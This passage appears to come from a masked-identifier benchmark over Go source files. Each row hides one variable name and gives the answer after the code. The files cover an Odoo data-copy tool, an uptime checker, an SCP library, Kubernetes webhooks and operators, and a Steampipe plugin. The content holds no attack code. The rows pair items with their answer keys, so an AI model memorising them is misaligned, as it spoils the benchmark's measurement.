""https"", Port: 443, } } func getServerConfigByName(name string) (*Host, error) { if name == """" { return nil, fmt.Errorf(""server name cannot be empty"") } server := NewHost() server.Hostname = viper.GetString(name + "".hostname"") server.Database = viper.GetString(name + "".database"") server.Username = viper.GetString(name + "".username"") server.Password = viper.GetString(name + "".password"") protocol := viper.GetString(name + "".protocol"") if protocol != """" { server.Protocol = protocol } schema := viper.GetString(name + "".schema"") if schema != """" { server.Schema = schema } port := viper.GetInt(name + "".port"") if port == 0 { if server.Schema == ""https"" { server.Port = 443 } else { server.Port = 8069 } } else { server.Port = port } return server, nil } func getOdooClient(server *Host) odoorpc.Odoo { odooClient := odoojrpc.NewOdoo(). WithHostname(server.Hostname). WithPort(server.Port). WithSchema(server.Schema). WithDatabase(server.Database). WithUsername(server.Username). WithPassword(server.Password) return odooClient } func main() { // Config File userConfigDir, err := os.UserConfigDir() checkErr(err) viper.SetConfigName(""config"") viper.SetConfigType(""yaml"") viper.AddConfigPath(userConfigDir + ""/odooquery"") if err := viper.ReadInConfig(); err != nil { fmt.Println(""Error reading config file:"", err) return } rootCmd := &cobra.Command{ Use: ""odoocopy "", Args: cobra.ExactArgs(3), Short: ""Odoo Copy Tool"", Long: `A tool to copy data between Odoo databases.`, Run: func(cmd *cobra.Command, args []string) { source := args[0] destination := args[1] model := args[2] domain, _ := cmd.Flags().GetString(""domain"") offset, _ := cmd.Flags().GetInt(""offset"") limit, _ := cmd.Flags().GetInt(""limit"") fields, _ := cmd.Flags().GetString(""fields"") updateKey, _ := cmd.Flags().GetString(""update-key"") nono, _ := cmd.Flags().GetBool(""nono"") jobs, _ := cmd.Flags().GetInt(""jobs"") query := QueryDef{ Model: model, Filter: domain, Offset: offset, Limit: limit, Fields: fields, UpdateKey: updateKey, NoNo: nono, } // read source flag sourceServer, err := getServerConfigByName(source) fatalErr(err, ""error getting source server config"") // fmt.Println(""Source Server Config:"", sourceServer) // read destination flag destinationServer, err := getServerConfigByName(destination) fatalErr(err, ""error getting destination server config"") // fmt.Println(""Destination Server Config:"", destinationServer) // Connect to Source DB [MASK] := getOdooClient(sourceServer) err = [MASK] .Login() fatalErr(err, ""error logging into source server"") // fmt.Println(""connected to source DB"", sourceServer.Database) // Connect to Destination destinationClient := getOdooClient(destinationServer) err = destinationClient.Login() fatalErr(err, ""error logging into destination server"") // fmt.Println(""connected to destination DB:"", destinationServer.Database) // Fetch data from Source DB copyRecords( [MASK] , destinationClient, jobs, model, query) // Transform data based on model and fields // Insert transformed data into Destination DB }, } rootCmd.Flags().StringP(""domain"", ""d"", """", ""Domain filter"") // TODO: filter not working yet rootCmd.Flags().IntP(""offset"", ""o"", 0, ""Offset for query"") rootCmd.Flags().IntP(""limit"", ""l"", 0, ""Limit records returned"") rootCmd.Flags().StringP(""fields"", ""f"", """", ""Comma-separated list of fields"") rootCmd.Flags().BoolP(""nono"", ""n"", false, ""No action: only show what would be done"") rootCmd.Flags().StringP(""update-key"", ""u"", """", ""Comma-separated list of fields to check for duplicate records (update if match, otherwise insert)"") rootCmd.Flags().IntP(""jobs"", ""j"", 4, ""Number of concurrent jobs (workers) to run"") if err := fang.Execute(context.Background(), rootCmd); err != nil { fmt.Println(""Error executing command:"", err) os.Exit(1) } } func copyRecords(source odoorpc.Odoo, destination odoorpc.Odoo, jobs int, model string, query QueryDef) error { umdl := strings.ReplaceAll(model, ""_"", ""."") filtp, _ := odoosearchdomain.ParseDomain(query.Filter) // if filtp != nil { // fmt.Println(""Error searching domain:"", err) // return err // } // filter with nothing in it is giving errors ,this is in the library fields := odoosearchdomain.Fields(query.Fields) updateKey := odoosearchdomain.Fields(query.UpdateKey) records, err := source.SearchRead(umdl, query.Offset, query.Limit, fields, filtp) fatalErr(err, ""error fetching records from source"") if !query.NoNo { progressBar := progressbar.Default(int64(len(records)), ""Copying records..."") // Create channels for fan-out/fan-in pattern recordChan := make(chan map[string]any, 100) resultChan := make(chan error, 100) // Number of workers numWorkers := jobs // Start workers (fan-out) for range numWorkers { go func() { for record := range recordChan { // Transform record if necessary destinationRecord := make(map[string]any) for _, field := range fields { if value, exists := record[field]; exists { destinationRecord[field] = value } } // Check for duplicates based on updateKey domain := make([]any, 0, len(updateKey)) for _, key := range updateKey { if value, exists := record[key]; exists { domain = append(domain, []any{key, ""="", value}) } } if len(domain) > 0 { rid, err := destination.GetID(umdl, domain) if err != nil { resultChan <- fmt.Errorf(""error searching for existing records: %v"", err) continue } if rid > -1 { _, err := destination.Write(umdl, rid, destinationRecord) resultChan <- err } else { _, err = destination.Create(umdl, destinationRecord) resultChan <- err } } else { _, err = destination.Create(umdl, destinationRecord) resultChan <- err } } }() } // Send records to workers go func() { defer close(recordChan) for _, record := range records { recordChan <- record } }() // Collect results (fan-in) errorCount := 0 for range records { err := <-resultChan if err != nil { fmt.Printf(""Error creating record in destination: %v\n"", err) errorCount++ } progressBar.Add(1) } if errorCount > 0 { fmt.Printf(""Failed to copy %d out of %d records\n"", errorCount, len(records)) } } else { jsonStr, err := json.MarshalIndent(records, """", "" "") fatalErr(err, ""record marshalling error"") fmt.Println(string(jsonStr)) } return nil } func checkErr(err error, msg ...string) { if err != nil { if len(msg) == 0 { fmt.Printf(""error: %v\n"", err.Error()) } fmt.Printf(""%v\n"", strings.Join(msg, "" "")) } } func fatalErr(err error, msg ...string) { if err != nil { if len(msg) == 0 { fmt.Printf(""error: %v\n"", err.Error()) } fmt.Printf(""%v\n"", strings.Join(msg, "" "")) os.Exit(1) } } ",sourceClient 907,"package checks import ( ""crypto/tls"" ""fmt"" ""io"" ""log"" ""net/http"" ""strings"" ""time"" tgbotapi ""github.com/go-telegram-bot-api/telegram-bot-api/v5"" ) type Data struct { HealthChecks map[string]ServerCheck `json:""healthChecks""` } type ServerCheck struct { Name string `json:""name""` Url string `json:""url""` LastFailure time.Time `json:""lastFailure""` LastSuccess time.Time `json:""lastSuccess""` IsOk bool `json:""isOk""` ExpectedContent string `json:""expectedContent,omitempty""` ResponseTimeThreshold int `json:""responseTimeThreshold,omitempty""` // in milliseconds LastResponseTime int64 `json:""lastResponseTime""` // in milliseconds SSLExpiryDate time.Time `json:""sslExpiryDate,omitempty""` SSLExpiryThreshold int `json:""sslExpiryThreshold,omitempty""` // in days LastSSLNotification time.Time `json:""lastSSLNotification,omitempty""` // when the last SSL expiry notification was sent Availability float64 `json:""availability""` // percentage of successful checks TotalChecks int `json:""totalChecks""` SuccessfulChecks int `json:""successfulChecks""` } type CheckResult struct { IsOk bool ResponseTime int64 StatusCode int ContentMatched bool SSLExpiryDate time.Time ErrorMessage string } var serverFailureCount = map[string]int{} var serverSendFaultMessage = map[string]bool{} var httpClient = &http.Client{ Timeout: 10 * time.Second, Transport: &http.Transport{ TLSHandshakeTimeout: 5 * time.Second, }, } // Global threshold for SSL certificates (in days) var globalSSLExpiryThreshold = 30 // ConfigureHttpClient sets the timeout for the HTTP client func ConfigureHttpClient(timeout time.Duration) { httpClient.Timeout = timeout transport, ok := httpClient.Transport.(*http.Transport) if ok { transport.TLSHandshakeTimeout = timeout / 2 } log.Printf(""[DEBUG] HTTP client timeout set to %v"", timeout) } // SetGlobalSSLExpiryThreshold sets the global threshold for SSL certificate expiration checks func SetGlobalSSLExpiryThreshold(days int) { globalSSLExpiryThreshold = days log.Printf(""[DEBUG] Global SSL expiry threshold set to %d days"", days) } // shouldSendSSLNotification checks if we should send an SSL notification based on the last notification time func shouldSendSSLNotification(lastNotification time.Time) bool { // If never notified before, or it's been more than 24 hours since the last notification return lastNotification.IsZero() || time.Since(lastNotification) > 24*time.Hour } func PerformCheck(bot *tgbotapi.BotAPI, chatId int64, [MASK] int) { log.Printf(""[DEBUG] Cron job started"") log.Printf(""[DEBUG] serverFailureCount: %v"", serverFailureCount) log.Printf(""[DEBUG] serverSendFaultMessage: %v"", serverSendFaultMessage) var checksData = ReadChecksData() for _, serverCheck := range checksData.HealthChecks { var checkResult = checkServerStatus(serverCheck) var checkTime = time.Now() // Update server check data serverCheck.TotalChecks++ if checkResult.IsOk { serverCheck.LastSuccess = checkTime serverCheck.SuccessfulChecks++ } else { serverCheck.LastFailure = checkTime } serverCheck.IsOk = checkResult.IsOk serverCheck.LastResponseTime = checkResult.ResponseTime // Calculate availability percentage if serverCheck.TotalChecks > 0 { serverCheck.Availability = float64(serverCheck.SuccessfulChecks) / float64(serverCheck.TotalChecks) * 100 } // Update SSL expiry date if available if !checkResult.SSLExpiryDate.IsZero() { serverCheck.SSLExpiryDate = checkResult.SSLExpiryDate // Use individual threshold if set, otherwise use global threshold sslThreshold := globalSSLExpiryThreshold if serverCheck.SSLExpiryThreshold > 0 { sslThreshold = serverCheck.SSLExpiryThreshold } // Check if SSL certificate is about to expire daysToExpiry := int(serverCheck.SSLExpiryDate.Sub(time.Now()).Hours() / 24) if daysToExpiry < sslThreshold && daysToExpiry >= 0 { // Check if we should send a notification (not more than once per day) if shouldSendSSLNotification(serverCheck.LastSSLNotification) { msg := tgbotapi.NewMessage(chatId, fmt.Sprintf(""⚠️ SSL certificate for %s will expire in %d days (threshold: %d days)"", serverCheck.Url, daysToExpiry, sslThreshold)) _, err := bot.Send(msg) if err != nil { log.Printf(""[ERROR] Failed to send SSL expiry message: %v"", err) } else { // Update the last notification time serverCheck.LastSSLNotification = checkTime log.Printf(""[INFO] Sent SSL expiry notification for %s, will expire in %d days"", serverCheck.Url, daysToExpiry) } } else { log.Printf(""[DEBUG] Skipping SSL notification for %s, last notification was %s"", serverCheck.Url, FormatTimeAgo(serverCheck.LastSSLNotification)) } } } // append new check to server checks checksData.HealthChecks[serverCheck.Name] = serverCheck if !checkResult.IsOk { serverFailureCount[serverCheck.Name]++ log.Printf(""[INFO] Server %s is down %v times"", serverCheck.Url, serverFailureCount[serverCheck.Name]) if serverFailureCount[serverCheck.Name] >= [MASK] { msg := tgbotapi.NewMessage(chatId, fmt.Sprintf(""❗❗❗ Server %s is down ❗❗❗\nReason: %s"", serverCheck.Url, checkResult.ErrorMessage)) _, err := bot.Send(msg) if err != nil { log.Printf(""[ERROR] Failed to send message: %v"", err) } serverSendFaultMessage[serverCheck.Name] = true serverFailureCount[serverCheck.Name] = 0 } } else { // Check response time threshold if serverCheck.ResponseTimeThreshold > 0 && checkResult.ResponseTime > int64(serverCheck.ResponseTimeThreshold) { msg := tgbotapi.NewMessage(chatId, fmt.Sprintf(""⚠️ Server %s response time is slow: %dms (threshold: %dms)"", serverCheck.Url, checkResult.ResponseTime, serverCheck.ResponseTimeThreshold)) _, err := bot.Send(msg) if err != nil { log.Printf(""[ERROR] Failed to send slow response message: %v"", err) } } if serverSendFaultMessage[serverCheck.Name] { msg := tgbotapi.NewMessage(chatId, fmt.Sprintf(""✅ Server %s is up 🎉"", serverCheck.Url)) _, err := bot.Send(msg) if err != nil { log.Printf(""[ERROR] Failed to send message: %v"", err) } serverSendFaultMessage[serverCheck.Name] = false } serverFailureCount[serverCheck.Name] = 0 } // save checks data err := SaveChecksData(checksData) if err != nil { log.Printf(""[ERROR] Error while saving checks data: %v"", err) continue } } } func checkServerStatus(server ServerCheck) CheckResult { result := CheckResult{ IsOk: false, } startTime := time.Now() // Create request req, err := http.NewRequest(""GET"", server.Url, nil) if err != nil { result.ErrorMessage = fmt.Sprintf(""Failed to create request: %v"", err) return result } // Execute request resp, err := httpClient.Do(req) if err != nil { result.ErrorMessage = fmt.Sprintf(""Failed to get server status: %v"", err) return result } defer resp.Body.Close() // Calculate response time responseTime := time.Since(startTime) result.ResponseTime = responseTime.Milliseconds() result.StatusCode = resp.StatusCode // Check if status code is 2xx (success) isStatusOk := resp.StatusCode >= 200 && resp.StatusCode < 300 if !isStatusOk { result.ErrorMessage = fmt.Sprintf(""Status code %d is not successful"", resp.StatusCode) return result } // Check content if expected content is set if server.ExpectedContent != """" { bodyBytes, err := io.ReadAll(resp.Body) if err != nil { result.ErrorMessage = fmt.Sprintf(""Failed to read response body: %v"", err) return result } bodyString := string(bodyBytes) if !strings.Contains(bodyString, server.ExpectedContent) { result.ErrorMessage = ""Expected content not found in response"" result.ContentMatched = false return result } result.ContentMatched = true } // Check SSL certificate expiration if strings.HasPrefix(server.Url, ""https://"") { host := strings.TrimPrefix(server.Url, ""https://"") if idx := strings.Index(host, ""/""); idx != -1 { host = host[:idx] } if idx := strings.Index(host, "":""); idx != -1 { host = host[:idx] } conn, err := tls.Dial(""tcp"", host+"":443"", &tls.Config{}) if err == nil { defer conn.Close() certs := conn.ConnectionState().PeerCertificates if len(certs) > 0 { result.SSLExpiryDate = certs[0].NotAfter } } } result.IsOk = true return result } func FormatTimeAgo(t time.Time) string { if t.IsZero() { return ""never"" } duration := time.Since(t) if duration < time.Minute { return fmt.Sprintf(""%d seconds ago"", int(duration.Seconds())) } else if duration < time.Hour { return fmt.Sprintf(""%d minutes ago"", int(duration.Minutes())) } else if duration < 24*time.Hour { return fmt.Sprintf(""%d hours ago"", int(duration.Hours())) } else { return fmt.Sprintf(""%d days ago"", int(duration.Hours()/24)) } } ",alertThreshold 908,"package libscp import ""github.com/sirupsen/logrus"" // ReceiveFileFromRemote is used to receive a file using the SCP protocol from a // remote host / machine func (c *Client) ReceiveFileFromRemote( [MASK] string, remoteFilename string, localFilePath string, localFileName string) error { err := c.VerifyClient() if err != nil { return err } // Each ClientConn can support multiple interactive sessions, // represented by a Session. session, err := c.client.NewSession() if err != nil { return err } defer session.Close() sc, err := NewSessionClient(session) if err != nil { return err } defer sc.writer.Close() sc.wg.Add(1) go sc.FileSink(localFilePath, localFileName) session.Run(""/usr/bin/scp -f "" + [MASK] + ""/"" + remoteFilename) for err := range sc.errors { logrus.WithError(err).Errorln(""Error receiving the file"") } sc.wg.Wait() return nil } // SendFileToRemote is used to send a file using the SCP protocol to a remote // host or machine func (c *Client) SendFileToRemote(fp string) error { logrus.Debugln(""Verifying client"") err := c.VerifyClient() if err != nil { return err } logrus.Debugln(""Client passed verification"") logrus.Debugln(""Creating session"") // Each ClientConn can support multiple interactive sessions, // represented by a Session. s, err := c.client.NewSession() if err != nil { return err } defer s.Close() logrus.Debugln(""Creating session client"") sc, err := NewSessionClient(s) if err != nil { return err } defer sc.writer.Close() sc.wg.Add(1) go sc.FileSource(fp) logrus.Infoln(""Beginning transfer"") go s.Run(""/usr/bin/scp -t ./"") logrus.Debugln(""Waiting for transfer to complete..."") sc.wg.Wait() for err := range sc.errors { logrus.WithError(err).Errorln(""Error sending the file"") } return nil } ",remoteFilePath 909,"/* Copyright 2021 The KubeSphere Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1alpha1 import ( ""errors"" ""k8s.io/apimachinery/pkg/runtime"" ""reflect"" ctrl ""sigs.k8s.io/controller-runtime"" logf ""sigs.k8s.io/controller-runtime/pkg/log"" ""sigs.k8s.io/controller-runtime/pkg/webhook"" ) // log is for logging in this package. var releaserlog = logf.Log.WithName(""releaser-resource"") func (r *Releaser) SetupWebhookWithManager(mgr ctrl.Manager) error { return ctrl.NewWebhookManagedBy(mgr). For(r). Complete() } // EDIT THIS FILE! THIS IS SCAFFOLDING FOR YOU TO OWN! //+kubebuilder:webhook:path=/mutate-devops-kubesphere-io-v1alpha1-releaser,mutating=true,failurePolicy=fail,sideEffects=None,groups=devops.kubesphere.io,resources=releasers,verbs=create;update,versions=v1alpha1,name=mreleaser.kb.io,admissionReviewVersions={v1,v1beta1} var _ webhook.Defaulter = &Releaser{} const defaultBranchName = ""master"" // Default implements webhook.Defaulter so a webhook will be registered for the type func (r *Releaser) Default() { releaserlog.Info(""default"", ""name"", r.Name) if r.Spec.Phase == """" { r.Spec.Phase = PhaseDraft } version := r.Spec.Version for i, _ := range r.Spec.Repositories { repo := &r.Spec.Repositories[i] if repo.Provider == """" { repo.Provider = GetDefaultProvider(repo) } if repo.Action == """" { repo.Action = ActionTag } if repo.Branch == """" { repo.Branch = defaultBranchName } if repo.Version == """" { repo.Version = version } } if r.Spec.GitOps != nil { if r.Spec.GitOps.Repository.Branch == """" { r.Spec.GitOps.Repository.Branch = defaultBranchName } if r.Spec.GitOps.Repository.Provider == """" { r.Spec.GitOps.Repository.Provider = GetDefaultProvider(&r.Spec.GitOps.Repository) } } if r.Spec.Secret.Namespace == """" { r.Spec.Secret.Namespace = r.Namespace } } // TODO(user): change verbs to ""verbs=create;update;delete"" if you want to enable deletion validation. //+kubebuilder:webhook:path=/validate-devops-kubesphere-io-v1alpha1-releaser,mutating=false,failurePolicy=fail,sideEffects=None,groups=devops.kubesphere.io,resources=releasers,verbs=create;update,versions=v1alpha1,name=vreleaser.kb.io,admissionReviewVersions={v1,v1beta1} var _ webhook.Validator = &Releaser{} // ValidateCreate implements webhook.Validator so a webhook will be registered for the type func (r *Releaser) ValidateCreate() error { releaserlog.Info(""validate create"", ""name"", r.Name) if !r.Spec.Phase.IsValid() { return errors.New(""invalid phase"") } return nil } // ValidateUpdate implements webhook.Validator so a webhook will be registered for the type func (r *Releaser) ValidateUpdate(old runtime.Object) error { releaserlog.Info(""validate update"", ""name"", r.Name) [MASK] := old.(*Releaser) if [MASK] .Spec.Phase == PhaseDone && !reflect.DeepEqual( [MASK] .Spec, r.Spec) { return errors.New(""not allow to manipulate this release any more once the phase is done"") } return nil } // ValidateDelete implements webhook.Validator so a webhook will be registered for the type func (r *Releaser) ValidateDelete() error { releaserlog.Info(""validate delete"", ""name"", r.Name) // TODO(user): fill in your validation logic upon object deletion. return nil } ",oldReleaser 910,"package googlesheets import ( ""context"" ""fmt"" ""path"" ""slices"" ""strings"" ""github.com/turbot/steampipe-plugin-sdk/v5/grpc/proto"" ""github.com/turbot/steampipe-plugin-sdk/v5/plugin"" ""github.com/turbot/steampipe-plugin-sdk/v5/plugin/transform"" ) // Plugin creates this (googlesheets) plugin func Plugin(ctx context.Context) *plugin.Plugin { p := &plugin.Plugin{ Name: ""steampipe-plugin-googlesheets"", ConnectionConfigSchema: &plugin.ConnectionConfigSchema{ NewInstance: ConfigInstance, }, ConnectionKeyColumns: []plugin.ConnectionKeyColumn{ { Name: ""spreadsheet_id"", Hydrate: spreadsheetID, }, }, DefaultTransform: transform.FromGo().NullIfZero(), SchemaMode: plugin.SchemaModeDynamic, TableMapFunc: PluginTables, } return p } // Map of spreadsheet headers along with the sheet name var googleSpreadsheetHeadersMap = map[string][]string{} func PluginTables(ctx context.Context, p *plugin.TableMapData) (map[string]*plugin.Table, error) { // Initialize tables tables := map[string]*plugin.Table{} /* Static tables */ tables[""googlesheets_cell""] = tableGoogleSheetsCell(ctx) tables[""googlesheets_sheet""] = tableGoogleSheetsSheet(ctx) tables[""googlesheets_spreadsheet""] = tableGoogleSheetsSpreadsheet(ctx) /* Dynamic tables */ // Get the list of sheets to be retrieved from the spreadsheet googleSheetsConfig := GetConfig(p.Connection) // Get the headers along with sheet name [MASK] , err := getSpreadsheets(ctx, p) if err != nil { return tables, nil } // Retrieve all valid sheets // If no sheets are specified in the config arg, no dynamic tables will be created var validSheets []string for _, pattern := range googleSheetsConfig.Sheets { for _, sheet := range [MASK] { if ok, _ := path.Match(pattern, sheet); ok { validSheets = append(validSheets, sheet) } } } // Get spreadsheet details spreadsheetData, err := getSpreadsheetHeaders(ctx, p, validSheets) if err != nil { return tables, nil } // Create tablemap for all the available sheets for _, sheetName := range validSheets { for _, data := range spreadsheetData { // Return if empty sheet if len(data.Values) == 0 { continue } // Return if first row is empty if len(data.Values[0]) == 0 { continue } // Return if A1 cell is empty if len(data.Values[0][0].(string)) == 0 { continue } // API wraps the range inside quotes if sheet name contains whitespaces // For example, if the sheet name is 'Sheet 1', then range comes as ""'Sheet 1'!A1:Z1"" str := strings.Split(data.Range, ""!"")[0] if len(str) > 0 && str[0] == '\'' { str = str[1 : len(str)-1] } var spreadsheetHeaders []string if sheetName == str { mergeCellInfo, _ := getMergeCells(ctx, p, sheetName) maxColsLength := getMaxLength(data.Values) for idx, i := range data.Values[0] { mergeRow, mergeColumn, _, parentColumn := findMergeCells(mergeCellInfo, int64(1), int64(idx+1)) if mergeRow != nil && mergeColumn != nil { // Merge cell parentData := data.Values[0][*parentColumn-1] spreadsheetHeaders[len(spreadsheetHeaders)-1] = fmt.Sprintf(""%s [%s]"", spreadsheetHeaders[len(spreadsheetHeaders)-1], intToLetters(idx)) spreadsheetHeaders = append(spreadsheetHeaders, fmt.Sprintf(""%s [%s]"", parentData.(string), intToLetters(idx+1))) } else if len(i.(string)) == 0 { columnName := intToLetters(idx + 1) // since index in for is zero-based spreadsheetHeaders = append(spreadsheetHeaders, columnName) } else { if slices.Contains(spreadsheetHeaders, i.(string)) { spreadsheetHeaders = append(spreadsheetHeaders, fmt.Sprintf(""%s [%s]"", i.(string), intToLetters(idx+1))) } else { spreadsheetHeaders = append(spreadsheetHeaders, i.(string)) } } } /* * Case: | Col A | | | | ----- | ----- | ----- | | val A | val B | val C | * Expected output | Col A | B | C | | ----- | ----- | ----- | | val A | val B | val C | */ if len(data.Values[0]) < maxColsLength { for i := len(data.Values[0]); i < maxColsLength; i++ { columnName := intToLetters(i + 1) spreadsheetHeaders = append(spreadsheetHeaders, columnName) } } googleSpreadsheetHeadersMap[sheetName] = spreadsheetHeaders // Create columns cols := []*plugin.Column{} for idx, j := range spreadsheetHeaders { cols = append(cols, &plugin.Column{Name: j, Type: proto.ColumnType_STRING, Transform: transform.FromField(j), Description: fmt.Sprintf(""Field %d."", idx)}) } // Create table definition tables[sheetName] = &plugin.Table{ Name: sheetName, Description: fmt.Sprintf(""Retrieves data from %s."", sheetName), List: &plugin.ListConfig{ Hydrate: listSpreadsheetWithPath(ctx, p, sheetName), }, Columns: cols, } } } } return tables, nil } ",availableSheets 911,"package main import ( ""encoding/json"" ""flag"" ""github.com/golang/glog"" ""github.com/gorilla/mux"" ""github.com/yarntime/aiops/pkg/controller"" v1 ""github.com/yarntime/aiops/pkg/types"" io ""io/ioutil"" ""net/http"" ""reflect"" ) var ( apiserverAddress string jobNamespace string successfulJobsHistoryLimit int failedJobsHistoryLimit int concurrencyPolicy string imagePullPolicy string triggerJobOnCreation bool jobCountLimit int jobProcessPeriod time.Duration /*mysqlHost string mysqlUser string mysqlPassword string mysqlDB string*/ globalConfig string applicationConfig string ) func init() { flag.StringVar(&apiserverAddress, ""apiserver_address"", """", ""Kubernetes apiserver address"") flag.StringVar(&jobNamespace, ""job_namespace"", ""default"", ""cronjob namespace"") flag.IntVar(&successfulJobsHistoryLimit, ""sucessful_jobs_history_limit"", 1, ""sucessful jobs history limit"") flag.IntVar(&failedJobsHistoryLimit, ""failed_jobs_history_limit"", 2, ""failed jobs history limit"") flag.StringVar(&concurrencyPolicy, ""concurrency_policy"", ""Forbid"", ""concurrency policy, support Allow, Forbid and Replace, default to Forbid"") flag.StringVar(&imagePullPolicy, ""image_pull_policy"", ""IfNotPresent"", ""image pull policy, support Always, Never and IfNotPresent, default to IfNotPresent"") flag.BoolVar(&triggerJobOnCreation, ""trigger_job_on_creation"", false, ""trigger job on cronjob creation"") flag.IntVar(&jobCountLimit, ""job_count_limit"", 50, ""the maximum number of jobs that can be submitted to kubernetes in a processing period. If trigger_job_on_creation is not true, this flag is irrelevant"") flag.DurationVar(&jobProcessPeriod, ""job_process_period"", 10*time.Minute, ""job processing period. If trigger_job_on_creation is not true, this flag is irrelevant"") /*flag.StringVar(&mysqlHost, ""mysql_host"", ""192.168.254.44:31786"", ""mysql host"") flag.StringVar(&mysqlUser, ""mysql_user"", ""root"", ""mysql user"") flag.StringVar(&mysqlPassword, """", """", """") flag.StringVar(&mysqlDB, ""mysql_db"", ""skyform_aiops"", ""mysql db"")*/ flag.StringVar(&globalConfig, ""global_config_file"", ""/etc/aiops/config.json"", ""global config file"") flag.StringVar(&applicationConfig, ""applicationConfig"", ""/etc/aiops/application.json"", ""application config file"") flag.Set(""alsologtostderr"", ""true"") flag.Parse() } func main() { customConfig := v1.CustomConfig{ Global: v1.GlobalConfig{ Namespace: jobNamespace, SuccessfulJobsHistoryLimit: int32(successfulJobsHistoryLimit), FailedJobsHistoryLimit: int32(failedJobsHistoryLimit), ConcurrencyPolicy: concurrencyPolicy, ImagePullPolicy: imagePullPolicy, TriggerJobOnCreation: triggerJobOnCreation, JobCountLimit: int32(jobCountLimit), JobProcessPeriod: jobProcessPeriod, }, } err := LoadConfig(globalConfig, &customConfig) if err != nil { glog.Fatalf(""Failed to load custom config. %s"", err.Error()) } appConfig := v1.ApplicationConfig{} err = LoadConfig(applicationConfig, &appConfig) if err != nil { glog.Fatalf(""Failed to load application config.%s"", err.Error()) } initAppConfig(customConfig, appConfig) config := &v1.Config{ CustomCfg: customConfig, AppCfg: appConfig, Host: apiserverAddress, } c := controller.NewController(config) if customConfig.Global.TriggerJobOnCreation { stop := make(chan struct{}) go c.Run(stop) } router := mux.NewRouter() router.HandleFunc(""/health"", health).Methods(""GET"") router.HandleFunc(""/create"", c.Create).Methods(""GET"") router.HandleFunc(""/delete"", c.Delete).Methods(""GET"") glog.Info(""http server started."") glog.Fatal(http.ListenAndServe("":8080"", router)) } func LoadConfig(filename string, v interface{}) error { data, err := io.ReadFile(filename) if err != nil { return err } dataJson := []byte(data) err = json.Unmarshal(dataJson, v) if err != nil { return err } return nil } func initAppConfig(customConfig v1.CustomConfig, appConfig v1.ApplicationConfig) { [MASK] := reflect.TypeOf(customConfig.Global) globalValue := reflect.ValueOf(customConfig.Global) baseLineParams := []string{} capacityParams := []string{} for i := 0; i < [MASK] .NumField(); i++ { f := [MASK] .Field(i) name, exist := f.Tag.Lookup(""json"") if !exist { continue } if name != ""params"" { capacityParams = append(capacityParams, ""--""+name+""=""+globalValue.Field(i).Interface().(string)) } else { baseLineParams = append(baseLineParams, globalValue.Field(i).Interface().([]string)...) capacityParams = append(capacityParams, globalValue.Field(i).Interface().([]string)...) } } for i := 0; i < len(appConfig.App); i++ { if appConfig.App[i].Id == 1 { appConfig.App[i].Params = append(appConfig.App[i].Params, baseLineParams...) } else { appConfig.App[i].Params = append(appConfig.App[i].Params, capacityParams...) } } } func health(w http.ResponseWriter, _ *http.Request) { w.Write([]byte(""ok."")) } ",globalFiled 912,"// +build go1.7 package providertests import ( ""testing"" saml2 ""github.com/russellhaering/gosaml2"" ""github.com/stretchr/testify/require"" ) func ExerciseProviderTestScenarios(t *testing.T, scenarios []ProviderTestScenario) { for _, scenario := range scenarios { t.Run(scenario.ScenarioName, func(t *testing.T) { _, err := saml2.DecodeUnverifiedBaseResponse(scenario.Response) // DecodeUnverifiedBaseResponse is more permissive than RetrieveAssertionInfo. // If an error _is_ returned it should match, but it is OK for no error to be // returned even when one is expected during full validation. if err != nil { scenario.CheckError(t, err) } [MASK] , err := scenario.ServiceProvider.RetrieveAssertionInfo(scenario.Response) if scenario.CheckError != nil { scenario.CheckError(t, err) } else { require.NoError(t, err) } if err == nil { if scenario.CheckWarningInfo != nil { scenario.CheckWarningInfo(t, [MASK] .WarningInfo) } else { require.False(t, [MASK] .WarningInfo.InvalidTime) require.False(t, [MASK] .WarningInfo.NotInAudience) } } }) } } ",assertionInfo 913,"package controller import ( ""context"" multitenancyv1 ""github.com/1eedaegon/tenant-oprator/api/v1"" corev1 ""k8s.io/api/core/v1"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""sigs.k8s.io/controller-runtime/pkg/log"" ) const ( tenantOperatorAnnotation = ""tenant-operator"" ) func (r *TenantReconciler) ensureNamespace(ctx context.Context, tenant *multitenancyv1.Tenant, [MASK] string) error { log := log.FromContext(ctx) namespace := &corev1.Namespace{} err := r.Get(ctx, client.ObjectKey{Name: [MASK] }, namespace) if err != nil { if apierrors.IsNotFound(err) { log.Info(""Creating namespace"", ""namespace"", [MASK] ) namespace := &corev1.Namespace{ ObjectMeta: metav1.ObjectMeta{ Name: [MASK] , Annotations: map[string]string{ ""adminEmail"": tenant.Spec.AdminEmail, ""managed-by"": tenantOperatorAnnotation, }, }, } if err = r.Create(ctx, namespace); err != nil { return err } } } else { log.Info(""Namespace alreay exists"", ""namespace"", [MASK] ) } return nil } ",namespaceName 914,"package cmd import ( ""avr-cli-backend/config"" ""avr-cli-backend/util"" ""encoding/json"" ""fmt"" ""github.com/urfave/cli/v2"" ) type InputGenerator struct { Validator string `json:""validator_address""` Name string `json:""name""` Website string `json:""website_url""` Logo string `json:""logo_url""` Desc string `json:""description""` } // commands to call indexer block, and staker func InputGeneratorCmd(cfg *config.AleoValidatorRegistryCliConfig) []*cli.Command { // add a command to run API node var inputGeneratorCmds []*cli.Command inputGeneratorCmd := &cli.Command{ Name: ""input-generator"", Usage: ""Generate input for the validator registry"", Flags: []cli.Flag{ &cli.StringFlag{ Name: ""validator"", Usage: ""The validator to update the registry of"", Aliases: []string{""v""}, Value: """", Required: true, }, &cli.StringFlag{ Name: ""name"", Usage: ""The name of the validator"", Aliases: []string{""n""}, Value: """", Required: true, }, &cli.StringFlag{ Name: ""website-url"", Usage: ""The website url of the validator"", Aliases: []string{""w""}, Value: """", Required: true, }, &cli.StringFlag{ Name: ""logo-url"", Usage: ""The logo url of the validator"", Aliases: []string{""l""}, Value: """", Required: true, }, &cli.StringFlag{ Name: ""description"", Usage: ""The description of the validator"", Aliases: []string{""d""}, Value: """", Required: true, }, &cli.StringFlag{ Name: ""private-key"", Usage: ""The private key of the validator"", Aliases: []string{""p""}, Value: """", Required: false, }, }, Action: func(context 